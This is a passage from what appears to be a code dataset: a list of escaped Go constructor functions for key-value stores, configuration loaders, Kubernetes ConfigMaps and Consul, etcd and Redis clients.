cfg.KVConfig[\"debug\"].(bool); ok {\n\t\tng.debug = debug\n\t}\n\n\tng.stores.OnRemove(func(key string, value interface{}) {\n\t\tstorekv, ok := value.(store.KVStore)\n\n\t\tif !ok {\n\t\t\tpanic(\"Unexpected value in cache\")\n\t\t}\n\n\t\tif storekv.IsOpen() {\n\t\t\tstorekv.Close()\n\t\t}\n\t})\n\n\treturn ng\n}", "func New(file ...string) *Config {\n\tname := DefaultConfigFile\n\tif len(file) > 0 {\n\t\tname = file[0]\n\t} else {\n\t\t// Custom default configuration file name from command line or environment.\n\t\tif customFile := gcmd.GetOptWithEnv(commandEnvKeyForFile).String(); customFile != \"\" {\n\t\t\tname = customFile\n\t\t}\n\t}\n\tc := &Config{\n\t\tdefaultName: name,\n\t\tsearchPaths: garray.NewStrArray(true),\n\t\tjsonMap: gmap.NewStrAnyMap(true),\n\t}\n\t// Customized dir path from env/cmd.\n\tif customPath := gcmd.GetOptWithEnv(commandEnvKeyForPath).String(); customPath != \"\" {\n\t\tif gfile.Exists(customPath) {\n\t\t\t_ = c.SetPath(customPath)\n\t\t} else {\n\t\t\tif errorPrint() {\n\t\t\t\tglog.Errorf(\"[gcfg] Configuration directory path does not exist: %s\", customPath)\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Dir path of working dir.\n\t\tif err := c.AddPath(gfile.Pwd()); err != nil {\n\t\t\tintlog.Error(context.TODO(), err)\n\t\t}\n\n\t\t// Dir path of main package.\n\t\tif mainPath := gfile.MainPkgPath(); mainPath != \"\" && gfile.Exists(mainPath) {\n\t\t\tif err := c.AddPath(mainPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\n\t\t// Dir path of binary.\n\t\tif selfPath := gfile.SelfDir(); selfPath != \"\" && gfile.Exists(selfPath) {\n\t\t\tif err := c.AddPath(selfPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\t}\n\treturn c\n}", "func NewBackend(logger logger.Logger, v3ioContext v3io.Context, config *frames.BackendConfig, framesConfig *frames.Config) (frames.DataBackend, error) {\n\tnewBackend := Backend{\n\t\tlogger: logger.GetChild(\"kv\"),\n\t\tnumWorkers: config.Workers,\n\t\tupdateWorkersPerVN: config.UpdateWorkersPerVN,\n\t\tframesConfig: framesConfig,\n\t\tv3ioContext: v3ioContext,\n\t\tinactivityTimeout: 0,\n\t\tmaxRecordsInfer: config.MaxRecordsInferSchema,\n\t}\n\treturn &newBackend, nil\n}", "func New(storage corestorage.KV, logger *zap.Logger) *KV {\n\tkv := &KV{\n\t\tstorage: storage,\n\t\tlogger: logger,\n\t}\n\n\treturn kv\n}", "func newCmdAddConfigMap(\n\tfSys filesys.FileSystem,\n\tldr ifc.KvLoader,\n\trf *resource.Factory) *cobra.Command {\n\tvar flags flagsAndArgs\n\tcmd := &cobra.Command{\n\t\tUse: \"configmap NAME [--behavior={create|merge|replace}] [--from-file=[key=]source] [--from-literal=key1=value1]\",\n\t\tShort: \"Adds a configmap to the kustomization file\",\n\t\tLong: \"\",\n\t\tExample: `\n\t# Adds a configmap to the kustomization file (with a specified key)\n\tkustomize edit add configmap my-configmap --from-file=my-key=file/path --from-literal=my-literal=12345\n\n\t# Adds a configmap to the kustomization file (key is the filename)\n\tkustomize edit add configmap my-configmap --from-file=file/path\n\n\t# Adds a configmap from env-file\n\tkustomize edit add configmap my-configmap --from-env-file=env/path.env\n\n\t# Adds a configmap from env-file with behavior merge\n\tkustomize edit add configmap my-configmap --behavior=merge --from-env-file=env/path.env\t\n`,\n\t\tRunE: func(_ *cobra.Command, args []string) error {\n\t\t\terr := flags.ExpandFileSource(fSys)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = flags.Validate(args)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Load the kustomization file.\n\t\t\tmf, err := kustfile.NewKustomizationFile(fSys)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tkustomization, err := mf.Read()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Add the flagsAndArgs map to the kustomization file.\n\t\t\terr = addConfigMap(ldr, kustomization, flags, rf)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Write out the kustomization file with added configmap.\n\t\t\treturn mf.Write(kustomization)\n\t\t},\n\t}\n\n\tcmd.Flags().StringSliceVar(\n\t\t&flags.FileSources,\n\t\t\"from-file\",\n\t\t[]string{},\n\t\t\"Key file can be specified using its file path, in which case file basename will be used as configmap \"+\n\t\t\t\"key, or optionally with a key and file path, in which case the given key will be used. Specifying a \"+\n\t\t\t\"directory will iterate each named file in the directory whose basename is a valid configmap key.\")\n\tcmd.Flags().StringArrayVar(\n\t\t&flags.LiteralSources,\n\t\t\"from-literal\",\n\t\t[]string{},\n\t\t\"Specify a key and literal value to insert in configmap (i.e. mykey=somevalue)\")\n\tcmd.Flags().StringVar(\n\t\t&flags.EnvFileSource,\n\t\t\"from-env-file\",\n\t\t\"\",\n\t\t\"Specify the path to a file to read lines of key=val pairs to create a configmap (i.e. a Docker .env file).\")\n\tcmd.Flags().BoolVar(\n\t\t&flags.DisableNameSuffixHash,\n\t\t\"disableNameSuffixHash\",\n\t\tfalse,\n\t\t\"Disable the name suffix for the configmap\")\n\tcmd.Flags().StringVar(\n\t\t&flags.Behavior,\n\t\t\"behavior\",\n\t\t\"\",\n\t\t\"Specify the behavior for config map generation, i.e whether to create a new configmap (the default), \"+\n\t\t\t\"to merge with a previously defined one, or to replace an existing one. Merge and replace should be used only \"+\n\t\t\t\" when overriding an existing configmap defined in a base\")\n\n\treturn cmd\n}", "func newConfigMapStore(c kubernetes.Interface) configMapStore {\n\treturn &APIServerconfigMapStore{\n\t\tconfigMapStore: cache.NewStore(cache.MetaNamespaceKeyFunc),\n\t\tclient: c,\n\t}\n}", "func NewKV(b *barrier.Barrier) *KV {\n\treturn &KV{b: b}\n}", "func NewKeyValue(name string, newType StorageType) *KeyValue {\n\tswitch newType {\n\n\tcase MEMORY:\n\t\t// TODO: No Merkle tree?\n\t\treturn &KeyValue{\n\t\t\tType: newType,\n\t\t\tName: name,\n\t\t\tmemory: db.NewMemDB(),\n\t\t}\n\n\tcase PERSISTENT:\n\t\tfullname := \"OneLedger-\" + name\n\n\t\tif FileExists(fullname, global.DatabaseDir()) {\n\t\t\t//log.Debug(\"Appending to database\", \"name\", fullname)\n\t\t} else {\n\t\t\tlog.Info(\"Creating new database\", \"name\", fullname)\n\t\t}\n\n\t\tstorage, err := db.NewGoLevelDB(fullname, global.DatabaseDir())\n\t\tif err != nil {\n\t\t\tlog.Error(\"Database create failed\", \"err\", err)\n\t\t\tpanic(\"Can't create a database \" + global.DatabaseDir() + \"/\" + fullname)\n\t\t}\n\n\t\ttree := iavl.NewMutableTree(storage, 100)\n\n\t\t// Note: the tree is empty, until at least one version is loaded\n\t\ttree.LoadVersion(0)\n\n\t\treturn &KeyValue{\n\t\t\tType: newType,\n\t\t\tName: name,\n\t\t\tFile: fullname,\n\t\t\ttree: tree,\n\t\t\tdatabase: storage,\n\t\t\tversion: tree.Version64(),\n\t\t}\n\tdefault:\n\t\tpanic(\"Unknown Type\")\n\n\t}\n\treturn nil\n}", "func KeyfileSettingsBackendNew(filename, rootPath, rootGroup string) *SettingsBackend {\n\tcstr1 := (*C.gchar)(C.CString(filename))\n\tdefer C.free(unsafe.Pointer(cstr1))\n\n\tcstr2 := (*C.gchar)(C.CString(rootPath))\n\tdefer C.free(unsafe.Pointer(cstr2))\n\n\tcstr3 := (*C.gchar)(C.CString(rootGroup))\n\tdefer C.free(unsafe.Pointer(cstr3))\n\n\treturn wrapSettingsBackend(wrapObject(unsafe.Pointer(C.g_keyfile_settings_backend_new(cstr1, cstr2, cstr3))))\n}", "func New(\n\tdomain string,\n\tmachines []string,\n\toptions map[string]string,\n) (kvdb.Kvdb, error) {\n\tif len(machines) == 0 {\n\t\tmachines = defaultMachines\n\t} else {\n\t\tif strings.HasPrefix(machines[0], \"http://\") {\n\t\t\tmachines[0] = strings.TrimPrefix(machines[0], \"http://\")\n\t\t} else if strings.HasPrefix(machines[0], \"https://\") {\n\t\t\tmachines[0] = strings.TrimPrefix(machines[0], \"https://\")\n\t\t}\n\t}\n\tconfig := api.DefaultConfig()\n\tconfig.HttpClient = http.DefaultClient\n\tconfig.Address = machines[0]\n\tconfig.Scheme = \"http\"\n\n\tclient, err := api.NewClient(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &consulKV{\n\t\tclient,\n\t\tconfig,\n\t\tdomain,\n\t}, nil\n}", "func newKVClient(ctx context.Context, storeType, address string, timeout time.Duration) (kvstore.Client, error) {\n\tlogger.Infow(ctx, \"kv-store-type\", log.Fields{\"store\": storeType})\n\tswitch storeType {\n\tcase \"etcd\":\n\t\treturn kvstore.NewEtcdClient(ctx, address, timeout, log.FatalLevel)\n\t}\n\treturn nil, errors.New(\"unsupported-kv-store\")\n}", "func newConfigMap(configMapName, namespace string, labels map[string]string,\n\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\n\n\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &v1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: v1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configMapName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: data,\n\t}\n}", "func New(ctx context.Context, log *zap.Logger, cfg *Config) (gokvstores.KVStore, error) {\n\tif cfg == nil {\n\t\treturn gokvstores.DummyStore{}, nil\n\t}\n\n\tlog.Info(\"KVStore configured\",\n\t\tlogger.String(\"type\", cfg.Type))\n\n\tswitch cfg.Type {\n\tcase dummyKVStoreType:\n\t\treturn gokvstores.DummyStore{}, nil\n\tcase redisRoundRobinType:\n\t\tredis := cfg.RedisRoundRobin\n\n\t\tkvstores := make([]gokvstores.KVStore, len(redis.Addrs))\n\t\tfor i := range redis.Addrs {\n\t\t\tredisOptions, err := parseRedisURL(redis.Addrs[i])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ts, err := gokvstores.NewRedisClientStore(ctx, redisOptions, time.Duration(redis.Expiration)*time.Second)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tkvstores[i] = s\n\t\t}\n\n\t\treturn &kvstoreWrapper{&redisRoundRobinStore{kvstores}, cfg.Prefix}, nil\n\tcase redisClusterKVStoreType:\n\t\tredis := cfg.RedisCluster\n\n\t\ts, err := gokvstores.NewRedisClusterStore(ctx, &gokvstores.RedisClusterOptions{\n\t\t\tAddrs: redis.Addrs,\n\t\t\tPassword: redis.Password,\n\t\t}, time.Duration(redis.Expiration)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\tcase redisKVStoreType:\n\t\tredis := cfg.Redis\n\n\t\ts, err := gokvstores.NewRedisClientStore(ctx, &gokvstores.RedisClientOptions{\n\t\t\tAddr: redis.Addr(),\n\t\t\tDB: redis.DB,\n\t\t\tPassword: redis.Password,\n\t\t}, time.Duration(redis.Expiration)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\tcase cacheKVStoreType:\n\t\tcache := cfg.Cache\n\n\t\ts, err := gokvstores.NewMemoryStore(\n\t\t\ttime.Duration(cache.Expiration)*time.Second,\n\t\t\ttime.Duration(cache.CleanupInterval)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"kvstore %s does not exist\", cfg.Type)\n}", "func newcfgfile(fp string) *cfgfile.ConfigFile {\n\treturn &cfgfile.ConfigFile{\n\t\tSrvName: \"agentd\",\n\t\tFilename: fp,\n\t}\n}", "func NewConfigMap(namespace, cmName, originalFilename string, generatedKey string,\n\ttextData string, binaryData []byte) *corev1.ConfigMap {\n\timmutable := true\n\tcm := corev1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cmName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: map[string]string{\n\t\t\t\tConfigMapOriginalFileNameLabel: originalFilename,\n\t\t\t\tConfigMapAutogenLabel: \"true\",\n\t\t\t},\n\t\t},\n\t\tImmutable: &immutable,\n\t}\n\tif textData != \"\" {\n\t\tcm.Data = map[string]string{\n\t\t\tgeneratedKey: textData,\n\t\t}\n\t}\n\tif binaryData != nil {\n\t\tcm.BinaryData = map[string][]byte{\n\t\t\tgeneratedKey: binaryData,\n\t\t}\n\t}\n\treturn &cm\n}", "func NewGoKV(store gokv.Store, namespace string) *GoKV {\n\treturn &GoKV{\n\t\tkv: store,\n\t\tpath: namespace,\n\t}\n}", "func New(pathname string, setters ...ConfigSetter) (*Config, error) {\n\tvar err error\n\n\tc := &Config{pathname: pathname}\n\n\tfor _, setter := range setters {\n\t\tif err := setter(c); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcgms := []congomap.Setter{congomap.Lookup(c.lookupSection())}\n\tif c.ttl > 0 {\n\t\tcgms = append(cgms, congomap.TTL(c.ttl))\n\t}\n\tc.cgm, err = congomap.NewSyncAtomicMap(cgms...) // relatively few config sections\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c, nil\n}", "func newMeta(db *leveldb.DB) (*meta, error) {\n\ttasks, err := loadTaskMetas(db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &meta{\n\t\ttasks: tasks,\n\t}, nil\n}", "func NewMetaConfig(s *bufio.Scanner, w io.Writer) *MetaConfig {\n\tm := &MetaConfig{}\n\tm.Scanner = s\n\tm.Writer = w\n\treturn m\n}", "func New(name, dir string) Keybase {\n\tif err := cmn.EnsureDir(dir, 0700); err != nil {\n\t\tpanic(fmt.Sprintf(\"failed to create Keybase directory: %s\", err))\n\t}\n\n\treturn lazyKeybase{name: name, dir: dir}\n}", "func NewKustomization(setters ...Option) (k *Kustomize, err error) {\n\tk = defaultOptions()\n\n\t// Update settings for kustomization\n\tfor _, setter := range setters {\n\t\tif err = setter(k); err != nil {\n\t\t\treturn k, err\n\t\t}\n\t}\n\n\t// Create Kustomization\n\tkustomizeYaml, err := yaml.Marshal(k.kustomize)\n\tif err != nil {\n\t\treturn k, err\n\t}\n\n\tif err = k.fs.WriteFile(filepath.Join(k.Base, konfig.DefaultKustomizationFileName()), kustomizeYaml); err != nil {\n\t\treturn k, err\n\t}\n\n\treturn k, err\n}", "func NewStore(secret, key, ns string) (*K8s, error) {\n\tkubeconfig := os.Getenv(\"KUBECONFIG\")\n\tif len(kubeconfig) == 0 {\n\t\tkubeconfig = os.Getenv(\"HOME\") + \"/.kube/config\"\n\t}\n\n\tcfg, err := clientcmd.BuildConfigFromFlags(\"\", kubeconfig)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to configure k8s client: %s\", err.Error())\n\t}\n\n\tclient, err := kubernetes.NewForConfig(cfg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed building k8s clientset: %s\", err.Error())\n\t}\n\n\treturn &K8s{\n\t\tclient: client,\n\t\tsecret: secret,\n\t\tkey: key,\n\t\tns: ns,\n\t\tready: false,\n\t}, nil\n}", "func New(content map[string]interface{}) *Config {\n\treturn &Config{\n\t\tm: content,\n\t}\n}", "func New(config *config.ConsulConfig) (*KVHandler, error) {\n\tclient, err := newAPIClient(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogger := log.WithFields(log.Fields{\n\t\t\"caller\": \"consul\",\n\t})\n\n\tkv := client.KV()\n\n\thandler := &KVHandler{\n\t\tAPI: kv,\n\t\tKVTxnOps: nil,\n\t\tlogger: logger,\n\t}\n\n\treturn handler, nil\n}", "func newQueueMeta(conf *Conf) *queueMeta {\n\treturn &queueMeta{conf: conf}\n}", "func NewLevelDBKV(path string) (*LevelDBKV, error) {\n\tdb, err := leveldb.OpenFile(path, nil)\n\tif err != nil {\n\t\treturn nil, errs.ErrLevelDBOpen.Wrap(err).GenWithStackByCause()\n\t}\n\treturn &LevelDBKV{db}, nil\n}", "func NewMeloctlConfigFromRaw(raw map[string]string) *MeloctlConfig {\n\treturn &MeloctlConfig{\n\t\tMelodyHomeDir: raw[\"melody.home\"],\n\t\t//MelodyRulesSource: raw[\"melody.rules.sources\"],\n\t}\n}", "func NewKVStore() *KVStore {\n\tkvStore := new(KVStore)\n\tkvStore.ht = make(map[string][]byte)\n\tkvStore.isOrigin = make(map[string]bool)\n\n\t//kvStore.owner = owner\n\treturn kvStore\n}", "func New(c *Config) (*Backend, error) {\n\tif err := validation.Validate.Struct(c); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &Backend{\n\t\tkeys: make(chan *template.Key, 500),\n\t\tlog: c.Logger,\n\t\tsvc: c.SSM,\n\t}\n\treturn b, nil\n}", "func newMetadataBackend(parent string) (MetadataBackend, error) {\n\tif err := mkDir(parent); err != nil {\n\t\treturn nil, err\n\t}\n\tdb, err := bbolt.Open(path.Join(parent, MetaDB), 0600, &bbolt.Options{Timeout: 1 * time.Second, NoSync: true})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar metricIDSequence atomic.Uint32\n\tvar tagKeyIDSequence atomic.Uint32\n\terr = db.Update(func(tx *bbolt.Tx) error {\n\t\t// create namespace bucket for save namespace/metric\n\t\tnsBucket, err := tx.CreateBucketIfNotExists(nsBucketName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// load metric id sequence\n\t\tmetricIDSequence.Store(uint32(nsBucket.Sequence()))\n\t\t// create metric bucket for save metric metadata\n\t\tmetricBucket, err := tx.CreateBucketIfNotExists(metricBucketName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// load tag key id sequence\n\t\ttagKeyIDSequence.Store(uint32(metricBucket.Sequence()))\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\t// close bbolt.DB if init metadata err\n\t\tif e := closeFunc(db); e != nil {\n\t\t\tmetaLogger.Error(\"close bbolt.db err when create metadata backend fail\",\n\t\t\t\tlogger.String(\"db\", parent), logger.Error(e))\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn &metadataBackend{\n\t\tdb: db,\n\t\tmetricIDSequence: metricIDSequence,\n\t\ttagKeyIDSequence: tagKeyIDSequence,\n\t}, err\n}", "func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\n\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\n\terr := cfg.load()\n\treturn &cfg, err\n}", "func newKVClient(storeType, address string, timeout time.Duration) (kvstore.Client, error) {\n\tlogger.Infow(\"kv-store-type\", log.Fields{\"store\": storeType})\n\tswitch storeType {\n\tcase \"consul\":\n\t\treturn kvstore.NewConsulClient(address, timeout)\n\tcase \"etcd\":\n\t\treturn kvstore.NewEtcdClient(address, timeout, log.FatalLevel)\n\t}\n\treturn nil, errors.New(\"unsupported-kv-store\")\n}", "func NewKVGraph(kv KVInterface) gdbi.ArachneInterface {\n\tts := timestamp.NewTimestamp()\n\to := &KVGraph{kv: kv, ts: &ts}\n\tfor _, i := range o.GetGraphs() {\n\t\to.ts.Touch(i)\n\t}\n\treturn o\n}", "func NewKVMVCC(sub *subKVMVCCConfig, db dbm.DB) *KVMVCCStore {\n\tvar kvs *KVMVCCStore\n\tenable := false\n\tif sub != nil {\n\t\tenable = sub.EnableMVCCIter\n\t}\n\tif enable {\n\t\tkvs = &KVMVCCStore{db, dbm.NewMVCCIter(db), make(map[string][]*types.KeyValue),\n\t\t\ttrue, sub.EnableMavlPrune, sub.PruneHeight, false}\n\t} else {\n\t\tkvs = &KVMVCCStore{db, dbm.NewMVCC(db), make(map[string][]*types.KeyValue),\n\t\t\tfalse, sub.EnableMavlPrune, sub.PruneHeight, false}\n\t}\n\tEnablePrune(sub.EnableMavlPrune)\n\tSetPruneHeight(int(sub.PruneHeight))\n\treturn kvs\n}", "func New(items map[storage.Key]*storage.Value, opts ...func(*Storage)) *Storage {\n\tstrg := &Storage{\n\t\tmeta: make(map[storage.MetaKey]storage.MetaValue),\n\t}\n\tstrg.setItems(items)\n\n\tfor _, f := range opts {\n\t\tf(strg)\n\t}\n\n\tif strg.clck == nil {\n\t\tstrg.clck = clock.New()\n\t}\n\n\treturn strg\n}", "func newK8sCluster(c config.Config) (*k8sCluster, error) {\n\tvar kubeconfig *string\n\tif home := homedir.HomeDir(); home != \"\" {\n\t\tkubeconfig = flag.String(\"kubeconfig\", filepath.Join(home, \".kube\", \"config\"), \"(optional) absolue path to the kubeconfig file\")\n\t} else {\n\t\tkubeconfig = flag.String(\"kubeconfig\", \"\", \"absolue path to the kubeconfig file\")\n\t}\n\tflag.Parse()\n\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", *kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &k8sCluster{\n\t\tconfig: c,\n\t\tmutex: sync.Mutex{},\n\t\tpods: make(map[string]string),\n\t\tclientset: clientset,\n\t}, nil\n}", "func NewKGTK[T codec.ProtoMarshaler](key sdk.StoreKey, internalKey sdk.StoreKey, cdc codec.BinaryCodec, getEmpty func() T, keywords []string) KeywordedGenericTypeKeeper[T] {\n\tgtk := KeywordedGenericTypeKeeper[T]{\n\t\tGenericTypeKeeper: NewGTK[T](key, internalKey, cdc, getEmpty),\n\t\tKeyWords: keywords,\n\t}\n\treturn gtk\n}", "func New(key []byte) *Config {\n\treturn &Config{\n\t\tsigningKey: key,\n\t\tclock: &utils.RealClock{},\n\t}\n}", "func newCfg() *cfg {\n\tcfg := &cfg{}\n\n\tflag.IntVar(&cfg.pool, \"pool\", 32,\n\t\t\"count of the workers in pool (default: 32)\")\n\n\tflag.BoolVar(&cfg.greedy, \"greedy\", true,\n\t\t\"enable greedy mode (default: true)\")\n\n\tflag.DurationVar(&cfg.dur, \"duration\", time.Minute,\n\t\t\"pool's heartbeat duration\")\n\n\tflag.Parse()\n\n\treturn cfg\n}", "func (c *DotQservConfigMapSpec) Create() (client.Object, error) {\n\tcr := c.qserv\n\ttmplData := generateTemplateData(cr)\n\n\treqLogger := log.WithValues(\"Request.Namespace\", cr.Namespace, \"Request.Name\", cr.Name)\n\n\tname := c.GetName()\n\tnamespace := cr.Namespace\n\n\tlabels := util.GetComponentLabels(constants.Czar, cr.Name)\n\troot := filepath.Join(\"/\", \"configmap\", \"dot-qserv\")\n\n\tcm := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: scanDir(root, reqLogger, &tmplData),\n\t}\n\n\treturn cm, nil\n}", "func NewKVWatcher(kvType KVStore, address string, prefix string) (Watcher, error) {\n\tvar backend store.Backend\n\tswitch kvType {\n\tcase Consul:\n\t\tconsul.Register()\n\t\tbackend = store.CONSUL\n\tcase Zookeeper:\n\t\tzookeeper.Register()\n\t\tbackend = store.ZK\n\tcase Etcd:\n\t\tetcd.Register()\n\t\tbackend = store.ETCD\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown kvType=%d\", kvType)\n\t}\n\n\tstore, err := valkeyrie.NewStore(backend, []string{address}, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &libkvWatcher{\n\t\tprefix: prefix,\n\t\tstore: store,\n\t}, nil\n}", "func (inv *ActionVpsConfigCreateInvocation) NewMetaInput() *ActionVpsConfigCreateMetaGlobalInput {\n\tinv.MetaInput = &ActionVpsConfigCreateMetaGlobalInput{}\n\treturn inv.MetaInput\n}", "func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\n\tlabels := map[string]string{\n\t\t\"name\": customConfigmap.Spec.ConfigMapName,\n\t\t\"customConfigName\": customConfigmap.Name,\n\t\t\"latest\": \"true\",\n\t}\n\tname := fmt.Sprintf(\"%s-%s\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\n\tconfigName := NameValidation(name)\n\treturn &corev1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configName,\n\t\t\tNamespace: customConfigmap.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\"CustomConfigMap\")),\n\t\t\t},\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: customConfigmap.Spec.Data,\n\t\tBinaryData: customConfigmap.Spec.BinaryData,\n\t}\n}", "func NewKeyVault(values map[string]string) (*KV, error) {\n\tk := &KV{\n\t\tclient: keyvault.New(),\n\t\turl: strings.TrimSuffix(values[\"URL\"], \"/\"),\n\t}\n\n\tif k.url == \"\" {\n\t\treturn nil, fmt.Errorf(\"no URL\")\n\t}\n\n\tvar a autorest.Authorizer\n\tvar err error\n\tswitch values[\"cli\"] {\n\tcase \"true\":\n\t\ta, err = auth.NewAuthorizerFromCLIWithResource(resourceKeyVault)\n\tdefault:\n\t\ta, err = getAuthorizerFrom(values)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tk.client.Authorizer = a\n\n\treturn k, nil\n}", "func New(options Options) (TKGClient, error) { //nolint:gocritic\n\tvar err error\n\n\t// configure log options for tkg library\n\tconfigureLogging(options.LogOptions)\n\n\tif options.ConfigDir == \"\" {\n\t\treturn nil, errors.New(\"config directory cannot be empty. Please provide config directory when creating tkgctl client\")\n\t}\n\n\tif options.ProviderGetter == nil {\n\t\toptions.ProviderGetter = getDefaultProviderGetter()\n\t}\n\n\tif options.CustomizerOptions.RegionManagerFactory == nil {\n\t\toptions.CustomizerOptions = types.CustomizerOptions{\n\t\t\tRegionManagerFactory: region.NewFactory(),\n\t\t}\n\t}\n\tappConfig := types.AppConfig{\n\t\tTKGConfigDir: options.ConfigDir,\n\t\tProviderGetter: options.ProviderGetter,\n\t\tCustomizerOptions: options.CustomizerOptions,\n\t\tTKGSettingsFile: options.SettingsFile,\n\t}\n\n\terr = ensureTKGConfigFile(options.ConfigDir, options.ProviderGetter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tallClients, err := clientcreator.CreateAllClients(appConfig, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar clusterKubeConfig *types.ClusterKubeConfig\n\tif options.KubeConfig != \"\" {\n\t\tclusterKubeConfig = &types.ClusterKubeConfig{\n\t\t\tFile: options.KubeConfig,\n\t\t\tContext: options.KubeContext,\n\t\t}\n\t}\n\n\ttkgClient, err := client.New(client.Options{\n\t\tClusterCtlClient: allClients.ClusterCtlClient,\n\t\tReaderWriterConfigClient: allClients.ConfigClient,\n\t\tRegionManager: allClients.RegionManager,\n\t\tTKGConfigDir: options.ConfigDir,\n\t\tTimeout: constants.DefaultOperationTimeout,\n\t\tFeaturesClient: allClients.FeaturesClient,\n\t\tTKGConfigProvidersClient: allClients.TKGConfigProvidersClient,\n\t\tTKGBomClient: allClients.TKGBomClient,\n\t\tTKGConfigUpdater: allClients.TKGConfigUpdaterClient,\n\t\tTKGPathsClient: allClients.TKGConfigPathsClient,\n\t\tClusterKubeConfig: clusterKubeConfig,\n\t\tClusterClientFactory: clusterclient.NewClusterClientFactory(),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// ensure BoM and Providers prerequisite files are extracted if missing\n\terr = ensureBoMandProvidersPrerequisite(options.ConfigDir, allClients.TKGConfigUpdaterClient, options.ForceUpdateTKGCompatibilityImage)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to ensure prerequisites\")\n\t}\n\t// Set default BOM name to the config variables to use during template generation\n\tdefaultBoMFileName, err := allClients.TKGBomClient.GetDefaultBoMFileName()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to get default BOM file name\")\n\t}\n\tallClients.ConfigClient.TKGConfigReaderWriter().Set(constants.ConfigVariableDefaultBomFile, defaultBoMFileName)\n\n\treturn &tkgctl{\n\t\tconfigDir: options.ConfigDir,\n\t\tkubeconfig: options.KubeConfig,\n\t\tkubecontext: options.KubeContext,\n\t\tappConfig: appConfig,\n\t\ttkgBomClient: allClients.TKGBomClient,\n\t\ttkgConfigUpdaterClient: allClients.TKGConfigUpdaterClient,\n\t\ttkgConfigProvidersClient: allClients.TKGConfigProvidersClient,\n\t\ttkgConfigPathsClient: allClients.TKGConfigPathsClient,\n\t\ttkgClient: tkgClient,\n\t\tproviderGetter: options.ProviderGetter,\n\t\ttkgConfigReaderWriter: allClients.ConfigClient.TKGConfigReaderWriter(),\n\t}, nil\n}", "func NewConfig(cfgFile string, fs filesystem.FileSystem, kubeCfg kubeconfig.KubeConfig) 